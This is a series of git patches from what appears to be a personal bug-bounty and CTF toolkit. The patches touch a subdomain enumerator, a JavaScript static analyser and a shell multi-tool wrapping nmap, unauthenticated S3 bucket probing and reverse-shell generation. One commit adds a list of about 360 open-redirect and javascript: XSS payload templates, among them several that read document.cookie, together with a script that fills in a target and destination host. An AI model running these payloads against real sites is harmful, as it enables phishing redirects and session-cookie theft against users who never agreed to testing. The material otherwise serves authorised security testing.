a/encoder/test.txt +++ /dev/null @@ -1 +0,0 @@ -script \ No newline at end of file diff --git a/nodestructor/js/foobar.js b/nodestructor/js/foobar.js index 6f62558..3626b08 100644 --- a/nodestructor/js/foobar.js +++ b/nodestructor/js/foobar.js @@ -1,8 +1,9 @@ -'use strict' +'use strict'; function fn(arg) { return arg } -let x = 20 -x = fn(x) \ No newline at end of file +let x = 20; +const TEST = 12; +x = fn(x); \ No newline at end of file diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index cc775df..83f4b01 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -16,7 +16,7 @@ import re import argparse -from imports.beautyConsole import beautyConsole +from .imports.beautyConsole import beautyConsole banner = r""" diff --git a/nodestructor/static_analysis.py b/nodestructor/static_analysis.py index 806848a..ae17601 100755 --- a/nodestructor/static_analysis.py +++ b/nodestructor/static_analysis.py @@ -5,7 +5,7 @@ from imports.beautyConsole import beautyConsole -jsfile = open('/Users/bl4de/tmp/AppMeasurement.js', 'r') +jsfile = open('/Users/bl4de/hacking/bugbounty/Roche_Private/src/admin-client.js', 'r') file_read = jsfile.readlines() @@ -34,17 +34,17 @@ def decorate_source(src_line): if ARGS.variable: variable_to_trace = ARGS.variable.strip() -print "\n\n[+] STARTING ANALYSIS...\n" +print("\n\n[+] STARTING ANALYSIS...\n") for line in file_read: line = line.replace('\n', '') line_no = line_no + 1 - # print "line {}: {}".format(line_no, line) res = re.search(variable_definition_regex, line) if res: variable_name = res.group(2) if variable_name == variable_to_trace: - print "\n[+] found {} variable definition in line {}:\n {}".format(decorate_varname(variable_name), line_no, decorate_source(line)) + print("\n[+] found {} variable definition in line {}:\n {}"\ + .format(decorate_varname(variable_name), line_no, decorate_source(line))) inner_line_no = 0 if variable_name == variable_to_trace: @@ -52,8 +52,8 @@ def decorate_source(src_line): inner_line = inner_line.replace('\n', '') inner_line_no = inner_line_no + 1 if variable_name + '=' in inner_line.replace(' ', ''): - print "\n\t{} used in assignment in line {}:\n\t{}\n".format(decorate_varname(variable_name), inner_line_no, decorate_source(inner_line)) + print("\n\t{} used in assignment in line {}:\n\t{}\n".format(decorate_varname(variable_name), inner_line_no, decorate_source(inner_line))) if '({})'.format(variable_name) in inner_line.replace(' ', ''): - print "\n\t{} used in function call as an argument in line {}:\n\t{}\n".format(decorate_varname(variable_name), inner_line_no, decorate_source(inner_line)) + print("\n\t{} used in function call as an argument in line {}:\n\t{}\n".format(decorate_varname(variable_name), inner_line_no, decorate_source(inner_line))) -print "\n\n[+] DONE\n" +print("\n\n[+] DONE\n") From 6aee5fcb197efd8d08ae7cbddfaf238e2ec95a73 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 10 Jan 2021 12:28:05 +0000 Subject: [PATCH 070/369] bugfixes and updates --- denumerator/denumerator.py | 13 ++++++++----- nodestructor/imports/beautyConsole.py | 2 +- nodestructor/nodestructor.py | 2 +- s0mbra.sh | 5 +++-- 4 files changed, 13 insertions(+), 9 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index c784252..9cb7d3a 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -317,11 +317,6 @@ def main(): if args.nmap: nmap = True - if args.output: - output_file = open(args.output, 'w+') - else: - output_file = False - if args.dir: output_directory = args.dir else: @@ -351,6 +346,14 @@ def main(): # starts output HTML html_output = open('reports/{}/__denumerator_report.html'.format(output_directory), 'w+') create_output_header(html_output) + + # if output filename was specified, create it and use to write report result + if args.output: + output_filename = os.path.join('reports', output_directory, args.output) + output_file = open(output_filename, 'w+') + else: + output_file = '__enumerated_domains.txt' + # main loop enumerate_domains(domains, output_file, html_output, allowed_http_responses, nmap_top_ports, output_directory, show) diff --git a/nodestructor/imports/beautyConsole.py b/nodestructor/imports/beautyConsole.py index 4c7f68d..603135f 100755 --- a/nodestructor/imports/beautyConsole.py +++ b/nodestructor/imports/beautyConsole.py @@ -20,7 +20,7 @@ class beautyConsole: "cyan": '\33[36m', "grey": '\33[90m', "lightgrey": '\33[37m', - "lightblue": '\33[94' + "lightblue": '\33[36' } characters = { diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 83f4b01..cc775df 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -16,7 +16,7 @@ import re import argparse -from .imports.beautyConsole import beautyConsole +from imports.beautyConsole import beautyConsole banner = r""" diff --git a/s0mbra.sh b/s0mbra.sh index 3894de1..ddf513b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -277,10 +277,11 @@ s3() { "list-objects" ) for cmd in "${s3api[@]}"; do + echo -e "---------------------------------------------------------------------------------" aws s3api "$cmd" --bucket "$1" --no-sign-request 2> /dev/null if [[ "$?" == 0 ]]; then - echo -e "\n$GREEN+ $cmd works!$CLR\n" - aws s3api "$cmd" --bucket "$1" --no-sign-request + echo -e "\n\n$GREEN+ $cmd works!$CLR\n" + aws s3api "$cmd" --bucket "$1" --no-sign-request 2> /dev/null elif [[ "$?" != 0 ]]; then echo -e "\n$RED- nope, $cmd does not seem to be working... :/$CLR" fi From 91d8dc8f0e070e840044d77d0383377627742e16 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 10 Jan 2021 12:59:37 +0000 Subject: [PATCH 071/369] [denumerator] bugfix for using nmap_html before declaration --- denumerator/denumerator.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 9cb7d3a..4d6116b 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -144,15 +144,15 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ ip_html = ip_html + "

IP: {}

".format( ip.split(b"address")[1].decode("utf-8") ) ip_html = ip_html + "" + nmap_html = "
" if nmap == True: # nmap scan results open_ports = [port for port in nmap_output.stdout.split( b"\n") if port.find(b"open") > 0] - nmap_html = "
" for port in open_ports: nmap_html = nmap_html + \ "

{}

".format(port.decode("utf-8")) - nmap_html = nmap_html + "
" + nmap_html = nmap_html + "
" # HTTP response headers response_headers_html = "" From df02726251b5ee876b22dcd13207d54f6c28a7f6 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 15 Jan 2021 01:34:17 +0000 Subject: [PATCH 072/369] [redir_gen] - Python tool to generate open redirect payloads (forked from https://gist.github.com/zPrototype/b211ae91e2b082420c350c28b6674170) --- redir_gen/payloads.txt | 363 +++++++++++++++++++++++++++++++++++++++++ redir_gen/redirgen.py | 33 ++++ 2 files changed, 396 insertions(+) create mode 100644 redir_gen/payloads.txt create mode 100755 redir_gen/redirgen.py diff --git a/redir_gen/payloads.txt b/redir_gen/payloads.txt new file mode 100644 index 0000000..242b846 --- /dev/null +++ b/redir_gen/payloads.txt @@ -0,0 +1,363 @@ +//DEST/%2f.. +//TARGET@DEST/%2f.. +///DEST/%2f.. +///TARGET@DEST/%2f.. +////DEST/%2f.. +////TARGET@DEST/%2f.. +https://DEST/%2f.. +https://TARGET@DEST/%2f.. +/https://DEST/%2f.. +/https://TARGET@DEST/%2f.. +//DEST/%2f%2e%2e +//TARGET@DEST/%2f%2e%2e +///DEST/%2f%2e%2e +///TARGET@DEST/%2f%2e%2e +////DEST/%2f%2e%2e +////TARGET@DEST/%2f%2e%2e +https://DEST/%2f%2e%2e +https://TARGET@DEST/%2f%2e%2e +/https://DEST/%2f%2e%2e +/https://TARGET@DEST/%2f%2e%2e +//DEST/ +//TARGET@DEST/ +///DEST/ +///TARGET@DEST/ +////DEST/ +////TARGET@DEST/ +https://DEST/ +https://TARGET@DEST/ +/https://DEST/ +/https://TARGET@DEST/ +//DEST// +//TARGET@DEST// +///DEST// +///TARGET@DEST// +////DEST// +////TARGET@DEST// +https://DEST// +https://TARGET@DEST// +//https://DEST// +//https://TARGET@DEST// +//DEST/%2e%2e%2f +//TARGET@DEST/%2e%2e%2f +///DEST/%2e%2e%2f +///TARGET@DEST/%2e%2e%2f +////DEST/%2e%2e%2f +////TARGET@DEST/%2e%2e%2f +https://DEST/%2e%2e%2f +https://TARGET@DEST/%2e%2e%2f +//https://DEST/%2e%2e%2f +//https://TARGET@DEST/%2e%2e%2f +///DEST/%2e%2e +///TARGET@DEST/%2e%2e +////DEST/%2e%2e +////TARGET@DEST/%2e%2e +https:///DEST/%2e%2e +https:///TARGET@DEST/%2e%2e +//https:///DEST/%2e%2e +//TARGET@https:///DEST/%2e%2e +/https://DEST/%2e%2e +/https://TARGET@DEST/%2e%2e +///DEST/%2f%2e%2e +///TARGET@DEST/%2f%2e%2e +////DEST/%2f%2e%2e +////TARGET@DEST/%2f%2e%2e +https:///DEST/%2f%2e%2e +https:///TARGET@DEST/%2f%2e%2e +/https://DEST/%2f%2e%2e +/https://TARGET@DEST/%2f%2e%2e +/https:///DEST/%2f%2e%2e +/https:///TARGET@DEST/%2f%2e%2e +/%09/DEST +/%09/TARGET@DEST +//%09/DEST +//%09/TARGET@DEST +///%09/DEST +///%09/TARGET@DEST +////%09/DEST +////%09/TARGET@DEST +https://%09/DEST +https://%09/TARGET@DEST +/%5cDEST +/%5cTARGET@DEST +//%5cDEST +//%5cTARGET@DEST +///%5cDEST +///%5cTARGET@DEST +////%5cDEST +////%5cTARGET@DEST +https://%5cDEST +https://%5cTARGET@DEST +/https://%5cDEST +/https://%5cTARGET@DEST +https://DEST +https://TARGET@DEST +javascript:alert(1); +javascript:alert(1) +//javascript:alert(1); +/javascript:alert(1); +//javascript:alert(1) +/javascript:alert(1) +javascript:%0aalert`1` +/%5cjavascript:alert(1); +/%5cjavascript:alert(1) +//%5cjavascript:alert(1); +//%5cjavascript:alert(1) +/%09/javascript:alert(1); +/%09/javascript:alert(1) +java%0d%0ascript%0d%0a:alert(0) +//DEST +http:DEST +https:DEST +//localdomain%E3%80%82pw +\/\/DEST/ +/\/DEST/ +/%2f%5c%2f%6c%6f%63%61%6c%64%6f%6d%61%69%6e%2e%70%77/ +//\/DEST/ +//localdomain%00.pw +https://TARGET/https://DEST/ +";alert(0);// +javascript://TARGET?%a0alert%281%29 +http://0xd8.0x3a.0xd6.0xce +http://TARGET@0xd8.0x3a.0xd6.0xce +http://3H6k7lIAiqjfNeN@0xd8.0x3a.0xd6.0xce +http://XY>.7d8T\205pZM@0xd8.0x3a.0xd6.0xce +http://0xd83ad6ce +http://TARGET@0xd83ad6ce +http://3H6k7lIAiqjfNeN@0xd83ad6ce +http://XY>.7d8T\205pZM@0xd83ad6ce +http://3627734734 +http://TARGET@3627734734 +http://3H6k7lIAiqjfNeN@3627734734 +http://XY>.7d8T\205pZM@3627734734 +http://472.314.470.462 +http://TARGET@472.314.470.462 +http://3H6k7lIAiqjfNeN@472.314.470.462 +http://XY>.7d8T\205pZM@472.314.470.462 +http://0330.072.0326.0316 +http://TARGET@0330.072.0326.0316 +http://3H6k7lIAiqjfNeN@0330.072.0326.0316 +http://XY>.7d8T\205pZM@0330.072.0326.0316 +http://00330.00072.0000326.00000316 +http://TARGET@00330.00072.0000326.00000316 +http://3H6k7lIAiqjfNeN@00330.00072.0000326.00000316 +http://XY>.7d8T\205pZM@00330.00072.0000326.00000316 +http://[::216.58.214.206] +http://TARGET@[::216.58.214.206] +http://3H6k7lIAiqjfNeN@[::216.58.214.206] +http://XY>.7d8T\205pZM@[::216.58.214.206] +http://[::ffff:216.58.214.206] +http://TARGET@[::ffff:216.58.214.206] +http://3H6k7lIAiqjfNeN@[::ffff:216.58.214.206] +http://XY>.7d8T\205pZM@[::ffff:216.58.214.206] +http://0xd8.072.54990 +http://TARGET@0xd8.072.54990 +http://3H6k7lIAiqjfNeN@0xd8.072.54990 +http://XY>.7d8T\205pZM@0xd8.072.54990 +http://0xd8.3856078 +http://TARGET@0xd8.3856078 +http://3H6k7lIAiqjfNeN@0xd8.3856078 +http://XY>.7d8T\205pZM@0xd8.3856078 +http://00330.3856078 +http://TARGET@00330.3856078 +http://3H6k7lIAiqjfNeN@00330.3856078 +http://XY>.7d8T\205pZM@00330.3856078 +http://00330.0x3a.54990 +http://TARGET@00330.0x3a.54990 +http://3H6k7lIAiqjfNeN@00330.0x3a.54990 +http://XY>.7d8T\205pZM@00330.0x3a.54990 +http:0xd8.0x3a.0xd6.0xce +http:TARGET@0xd8.0x3a.0xd6.0xce +http:3H6k7lIAiqjfNeN@0xd8.0x3a.0xd6.0xce +http:XY>.7d8T\205pZM@0xd8.0x3a.0xd6.0xce +http:0xd83ad6ce +http:TARGET@0xd83ad6ce +http:3H6k7lIAiqjfNeN@0xd83ad6ce +http:XY>.7d8T\205pZM@0xd83ad6ce +http:3627734734 +http:TARGET@3627734734 +http:3H6k7lIAiqjfNeN@3627734734 +http:XY>.7d8T\205pZM@3627734734 +http:472.314.470.462 +http:TARGET@472.314.470.462 +http:3H6k7lIAiqjfNeN@472.314.470.462 +http:XY>.7d8T\205pZM@472.314.470.462 +http:0330.072.0326.0316 +http:TARGET@0330.072.0326.0316 +http:3H6k7lIAiqjfNeN@0330.072.0326.0316 +http:XY>.7d8T\205pZM@0330.072.0326.0316 +http:00330.00072.0000326.00000316 +http:TARGET@00330.00072.0000326.00000316 +http:3H6k7lIAiqjfNeN@00330.00072.0000326.00000316 +http:XY>.7d8T\205pZM@00330.00072.0000326.00000316 +http:[::216.58.214.206] +http:TARGET@[::216.58.214.206] +http:3H6k7lIAiqjfNeN@[::216.58.214.206] +http:XY>.7d8T\205pZM@[::216.58.214.206] +http:[::ffff:216.58.214.206] +http:TARGET@[::ffff:216.58.214.206] +http:3H6k7lIAiqjfNeN@[::ffff:216.58.214.206] +http:XY>.7d8T\205pZM@[::ffff:216.58.214.206] +http:0xd8.072.54990 +http:TARGET@0xd8.072.54990 +http:3H6k7lIAiqjfNeN@0xd8.072.54990 +http:XY>.7d8T\205pZM@0xd8.072.54990 +http:0xd8.3856078 +http:TARGET@0xd8.3856078 +http:3H6k7lIAiqjfNeN@0xd8.3856078 +http:XY>.7d8T\205pZM@0xd8.3856078 +http:00330.3856078 +http:TARGET@00330.3856078 +http:3H6k7lIAiqjfNeN@00330.3856078 +http:XY>.7d8T\205pZM@00330.3856078 +http:00330.0x3a.54990 +http:TARGET@00330.0x3a.54990 +http:3H6k7lIAiqjfNeN@00330.0x3a.54990 +http:XY>.7d8T\205pZM@00330.0x3a.54990 +〱DEST +〵DEST +ゝDEST +ーDEST +ーDEST +/〱DEST +/〵DEST +/ゝDEST +/ーDEST +/ーDEST +%68%74%74%70%73%3a%2f%2f%6c%6f%63%61%6c%64%6f%6d%61%69%6e%2e%70%77 +https://%6c%6f%63%61%6c%64%6f%6d%61%69%6e%2e%70%77 +<>javascript:alert(1); +<>//DEST +//DEST\@TARGET +https://:@DEST\@TARGET +\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1) +\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1) +ja\nva\tscript\r:alert(1) +\j\av\a\s\cr\i\pt\:\a\l\ert\(1\) +\152\141\166\141\163\143\162\151\160\164\072alert(1) +http://DEST:80#@TARGET/ +http://DEST:80?@TARGET/ +http://3H6k7lIAiqjfNeN@TARGET+@DEST/ +http://3H6k7lIAiqjfNeN@TARGET⁺@DEST/ +http://XY>.7d8T\205pZM@TARGET+@DEST/ +http://XY>.7d8T\205pZM@TARGET⁺@DEST/ +http://3H6k7lIAiqjfNeN@TARGET@DEST/ +http://XY>.7d8T\205pZM@TARGET@DEST/ +http://TARGET+&@DEST#+@TARGET/ +http://TARGET⁺&@DEST#⁺@TARGET/ +http://DEST\tTARGET/ +//DEST:80#@TARGET/ +//DEST:80?@TARGET/ +//3H6k7lIAiqjfNeN@TARGET+@DEST/ +//3H6k7lIAiqjfNeN@TARGET⁺@DEST/ +//XY>.7d8T\205pZM@TARGET+@DEST/ +//XY>.7d8T\205pZM@TARGET⁺@DEST/ +//3H6k7lIAiqjfNeN@TARGET@DEST/ +//XY>.7d8T\205pZM@TARGET@DEST/ +//TARGET+&@DEST#+@TARGET/ +//TARGET⁺&@DEST#⁺@TARGET/ +//DEST\tTARGET/ +//;@DEST +//﹔@DEST +http://;@DEST +http://﹔@DEST +@DEST +javascript://https://TARGET/?z=%0Aalert(1) +data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4= +http://DEST%2f%2f.TARGET/ +http://DEST%5c%5c.TARGET/ +http://DEST%3F.TARGET/ +http://DEST%23.TARGET/ +http://TARGET:80%40DEST/ +http://TARGET%2eDEST/ +/x:1/:///%01javascript:alert(document.cookie)/ +/https:/%5cDEST/ +https:/%5cDEST/ +javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie) +javascripT://TARGET/%250d%250aalert(document.cookie) +/http://DEST +/%2f%2fDEST +//%2f%2fDEST +/DEST/%2f%2e%2e +/http:/DEST +http:/DEST +/.DEST +http://.DEST +.DEST +///\;@DEST +///\﹔@DEST +///DEST +/////DEST/ +/////DEST +ja vascript:alert(1) +ja vascript:alert(1) +ja vascript:alert(1) +javascript:alert() +javascript:alert() +javascript:alert() +javascript:alert(1) +javascript:alert() +javascript:alert() +javascript:alert`` +javascript:alert%60%60 +javascript:x='%27-alert(1)-%27'; +javascript:%61%6c%65%72%74%28%29 +javascript:a\u006Cert``" +javascript:\u0061\u006C\u0065\u0072\u0074`` +java%0ascript:alert(1) +%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aalert(1) +java%09script:alert(1) +java%0dscript:alert(1) +javascript://%0aalert(1) +javascript://%0aalert`1` +Javas%26%2399;ript:alert(1) +data:TARGET;text/html;charset=UTF-8, +jaVAscript://TARGET//%0d%0aalert(1);// +http://www.DEST\.TARGET +%19Jav%09asc%09ript:https%20://TARGET/%250Aconfirm%25281%2529 +%01https://DEST +TARGET;@DEST +TARGET﹔@DEST +https://TARGET;@DEST +https://TARGET﹔@DEST +http:%0a%0dDEST +https://%0a%0dDEST +DEST/TARGET +https://DEST/TARGET +//DEST/TARGET +javascript:alert(document.domain)//:// +/#//DEST +#//DEST +https%3A/DEST +https%3A/;@DEST +https%3A/﹔@DEST +javascript:%250Aalert(1) +javascript:alert(1)//https://TARGET +°/DEST +////DEST +//DEST? +//.@.@DEST +javascript:new%20Function`al\ert\`1\``; +%09Jav%09ascript:alert(1) +https://DEST\ᵗTARGET +//DEST\ᵗTARGET +https://TARGET。₨/ +//TARGET。₨/ +https://DEST\udfff@TARGET/ +//DEST\udfff@TARGET/ +https://DEST�@TARGET/ +//DEST�@TARGET/ +https://TARGET%40%E2%80%AE@wp.niamodlacol +https://TARGET%40%E2%80%AE@DEST +https://TARGET@%E2%80%AE@wp.niamodlacol +https://TARGET@%E2%80%AE@DEST +https://TARGET@/%E2%80%AE@wp.niamodlacol +https://TARGET@/%E2%80%AE@DEST +https://TARGET@'#DEST +javascript:alert(1)//DEST/ +javascript:alert(1)//TARGET/ +Javascript://%E2%80%A9alert(618) +https://TARGET%09.DEST +TARGET%09.DEST +https://TARGET%252eDEST +TARGET%252eDEST \ No newline at end of file diff --git a/redir_gen/redirgen.py b/redir_gen/redirgen.py new file mode 100755 index 0000000..e1116a4 --- /dev/null +++ b/redir_gen/redirgen.py @@ -0,0 +1,33 @@ +#!/usr/bin/env python3 +# Forked from https://gist.github.com/zPrototype/b211ae91e2b082420c350c28b6674170 + +import re +import argparse + +parser = argparse.ArgumentParser() +parser.add_argument("--target", "-t", action="store", help="Enter the target address", required=True) +parser.add_argument("--dest", "-d", action="store", help="Enter the address where you want to redirect to", + required=True) +parser.add_argument("--output", "-o", action="store", help="Enter output file name") +args = parser.parse_args() + +payloads = [] + +# Remove protocol from url +junk = re.compile(r"https?://") +target = junk.sub("", args.target) +dest = junk.sub("", args.dest) + +with open("payloads.txt", "r") as handle: + templates = handle.readlines() + +for payload in templates: + payload = payload.rstrip() + payload = re.sub("TARGET", target, payload) + payload = re.sub("DEST", dest, payload) + print(payload) + payloads.append(payload) + +if args.output: + with open(args.output, "w")as handle: + [handle.write(f"{x.rstrip()}\n") for x in payloads] \ No newline at end of file From 5395098a2ace2541cc387857fc44b2d76bf3851b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 20 Jan 2021 01:10:08 +0000 Subject: [PATCH 073/369] [s0mbra] PHP 7 <-> 8 versions switching added (some stuff does not work well with PHP 8) --- s0mbra.sh | 37 +++++++++++++++++++++++++++++++++++-- 1 file changed, 35 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index ddf513b..311558c 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -89,9 +89,9 @@ interactive() { full_nmap_scan() { echo -e "$BLUE[+] Running full nmap scan against $1 ...$CLR" echo -e "\t\t -> search all open ports..." - ports=$(nmap -Pn -p- --min-rate=1000 "$1" | grep open | cut -d'/' -f 1 | tr '\n' ',') + ports=$(nmap -p- "$1" | grep open | cut -d'/' -f 1 | tr '\n' ',') echo -e "\t\t -> run version detection + nse scripts against $ports..." - nmap -p"$ports" -sV -sC -A -Pn -n "$1" -oN ./"$1".log + nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log echo -e "[+] Done!" } @@ -376,11 +376,41 @@ generate_shells() { echo -e "$NEWLINE" } +php7() { + echo -e "$BLUE[+] Switching PHP version to 7.x ...\n$YELLOW" + brew unlink php@8.0 && brew link --force php@7.4 + echo -e "$BLUE[+] Changing httpd.conf...$YELLOW" + sudo cp /private/etc/apache2/httpd.conf.php7 /private/etc/apache2/httpd.conf + echo -e "$BLUE[+] Restarting Apache...$YELLOW" + sudo apachectl -k restart + echo -e "$BLUE[+] All done, current PHP version is:\n$GREEN" + php -v + echo -e "$CLR" +} + +php8() { + echo -e "$BLUE[+] Switching PHP version to 8.x ...\n$YELLOW" + brew unlink php@7.4 && brew link --force php@8.0 + echo -e "$BLUE[+] Changing httpd.conf...$YELLOW" + sudo cp /private/etc/apache2/httpd.conf.php8 /private/etc/apache2/httpd.conf + echo -e "$BLUE[+] Restarting Apache...$YELLOW" + sudo apachectl -k restart + echo -e "$BLUE[+] All done, current PHP version is:\n$GREEN" + php -v + echo -e "$CLR" +} + cmd=$1 clear echo "$__logo" case "$cmd" in + php7) + php7 + ;; + php8) + php8 + ;; set_ip) set_ip "$2" ;; @@ -482,6 +512,9 @@ case "$cmd" in echo -e "\tdex_to_jar [.dex file]\t\t\t\t -> exports .dex file into .jar and open it in JD-Gui" echo -e "\tapk [.apk FILE]\t\t\t\t\t -> extracts APK file and run apktool on it" echo -e "\tdecompile_jar [.jar FILE]\t\t\t -> open FILE.jar file in JD-Gui" + echo -e "\n::$BLUE MISC ::$CLR" + echo -e "\tphp7 \t\t\t\t\t\t -> switch PHP to version 7.x" + echo -e "\tphp8 \t\t\t\t\t\t -> switch PHP to version 8.x" echo -e "\n\n--------------------------------------------------------------------------------------------------------------" echo -e "$GREEN\nHack The Planet!\n$CLR" ;; From 2d30b31f33dacb9f8c2d9546c86f70f4679617be Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 24 Jan 2021 16:02:05 +0000 Subject: [PATCH 074/369] [s0mbra] android-backup-extractor added to toolset (STATIC CODE ANALYSIS -> abe) --- s0mbra.sh | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index 311558c..3c57a98 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -346,6 +346,22 @@ apk() { fi } +abe() { + clear + echo -e "$BLUE[+] Extracting $1.ab backup into $1.tar...$CLR" + java -jar /Users/bl4de/hacking/tools/Java_Decompilers/android-backup-extractor/build/libs/abe.jar unpack $1.ab $1.tar + if [[ "$?" == 0 ]]; then + echo -e "\n$GREEN[+] Success! $1.ab unpacked and $1.tar was created..." + echo -e "[+] Let's untar some files, shall we?$CLR" + rm -rf $1_extracted && mkdir ./$1_extracted + tar -xf $1.tar -C $1_extracted + echo -e "\n$GREEN[+] tar extracted, folder(s) created:$CLR" + ls -l $1_extracted + elif [[ "$?" != 0 ]]; then + echo -e "\n$RED- Damn... :/$CLR" + fi +} + generate_shells() { clear port=$2 @@ -441,6 +457,9 @@ case "$cmd" in apk) apk "$2" ;; + abe) + abe "$2" + ;; decompile_jar) decompile_jar "$2" ;; @@ -512,6 +531,7 @@ case "$cmd" in echo -e "\tdex_to_jar [.dex file]\t\t\t\t -> exports .dex file into .jar and open it in JD-Gui" echo -e "\tapk [.apk FILE]\t\t\t\t\t -> extracts APK file and run apktool on it" echo -e "\tdecompile_jar [.jar FILE]\t\t\t -> open FILE.jar file in JD-Gui" + echo -e "\tabe [.ab FILE]\t\t\t\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" echo -e "\n::$BLUE MISC ::$CLR" echo -e "\tphp7 \t\t\t\t\t\t -> switch PHP to version 7.x" echo -e "\tphp8 \t\t\t\t\t\t -> switch PHP to version 8.x" From ac4e67fd719ecd419db55327079c6a053ca86651 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 24 Jan 2021 16:17:16 +0000 Subject: [PATCH 075/369] [s0mbra] refactoring; UI improvements --- s0mbra.sh | 50 ++++++++++++++++++++++++-------------------------- 1 file changed, 24 insertions(+), 26 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 3c57a98..698d6c8 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -62,19 +62,17 @@ interactive() { set_ip "$1" local choice echo "$__logo" - echo -e "$BLUE------------------------------------------------------------------" - echo -e "Bl4de's BugBounty/CTF/PenTest/Hacking multi-tool\t\t -> bbbcpthmts :D " - echo -e "------------------------------------------------------------------" - echo -e "Interactive mode\tTarget: $IP" - echo -e "------------------------------------------------------------------" - echo -e "[1]\t\t -> run full nmap scan + -sV -sC on open port(s) " - echo -e "[2]\t\t -> run SMB enumeration (if port 445 is open)" - echo -e "[3]\t\t -> run nfs scan (port 2049 open)" - echo -e "[4]\t\t -> run nikto against HTTP server on port 80 with default plugins" + echo -e "$BLUE------------------------------------------------------------------------------------------------------" + echo -e "Interactive mode\tTarget: $GREEN$IP$CLR" + echo -e "$BLUE------------------------------------------------------------------------------------------------------" + echo -e "$YELLOW[1]$CLR\t\t $GRAY-> run full nmap scan + -sV -sC on open port(s)$CLR" + echo -e "$YELLOW[2]$CLR\t\t $GRAY-> run SMB enumeration (if port 445 is open)$CLR" + echo -e "$YELLOW[3]$CLR\t\t $GRAY-> run nfs scan (port 2049 open)$CLR" + echo -e "$YELLOW[4]$CLR\t\t $GRAY-> run nikto against HTTP server on port 80 with default plugins$CLR" echo -e "" - echo -e "[0]\t\t -> Quit" - echo -e "------------------------------------------------------------------$CLR" - read -p "Select option:" choice + echo -e "$YELLOW[0]$CLR\t\t $GRAY-> Quit" + echo -e "$BLUE------------------------------------------------------------------------------------------------------" + read -p ">> " choice case $choice in 1) full_nmap_scan "$IP" ;; 2) smb_enum "$IP" ;; @@ -499,40 +497,40 @@ case "$cmd" in *) clear echo -e "$GREEN I'm guessing there's no chance we can take care of this quietly, is there? - S0mbra$CLR" - echo -e "\n\n--------------------------------------------------------------------------------------------------------------" + echo -e "--------------------------------------------------------------------------------------------------------------" echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}" echo -e "\t s0mbra.sh interactive {IP} (interactive mode)$CLR" # interactive\t\t -> TBD - echo -e "\nAvailable commands:" - echo -e "\n::$BLUE COMMANDS IN INTERACTIVE MODE ::$CLR" - echo -e "\tset_ip [IP]\t\t\t\t\t -> sets IP in current Bash session to use by other bbbcpthmts commands" - echo -e "\n::$BLUE RECON ::$CLR" + echo -e "\n$BLUE:: COMMANDS IN INTERACTIVE MODE ::$CLR" + echo -e "\tset_ip [IP]\t\t\t\t\t -> sets IP in current Bash session to use by other s0mbra commands" + echo -e "$BLUE:: RECON ::$CLR" echo -e "\tfull_nmap_scan [IP]\t\t\t\t -> nmap -p- to enumerate ports + -sV -sC -A on found open ports" echo -e "\tnfs_enum [IP]\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" - echo -e "\n::$BLUE AMAZON AWS S3 ::$CLR" + echo -e "$BLUE:: AMAZON AWS S3 ::$CLR" echo -e "\ts3 [bucket]\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" echo -e "\ts3go [bucket] [key]\t\t\t\t -> get object identified by [key] from AWS S3 [bucket]" - echo -e "\n::$BLUE PENTEST TOOLS ::$CLR" + echo -e "$BLUE:: PENTEST TOOLS ::$CLR" echo -e "\thttp_server [PORT]\t\t\t\t -> runs HTTP server on [PORT] TCP port" echo -e "\tprivesc_tools_linux \t\t\t\t -> runs HTTP server on port 9119 in directory with Linux PrivEsc tools" echo -e "\tprivesc_tools_windows \t\t\t\t -> runs HTTP server on port 9119 in directory with Windows PrivEsc tools" echo -e "\tgenerate_shells [IP] [PORT] \t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" - echo -e "\n::$BLUE SMB SUITE ::$CLR" + echo -e "$BLUE:: SMB SUITE ::$CLR" echo -e "\tsmb_enum [IP] [USER] [PASSWORD]\t\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" echo -e "\tsmb_get_file [IP] [user] [password] [PATH] \t -> downloads file from SMB share [PATH] on [IP]" echo -e "\tsmb_mount [IP] [SHARE] [USER]\t\t\t -> mounts SMB share at ./mnt/shares" echo -e "\tsmb_umount\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" - echo -e "\n::$BLUE PASSWORDS CRACKIN' ::$CLR" + echo -e "$BLUE:: PASSWORDS CRACKIN' ::$CLR" echo 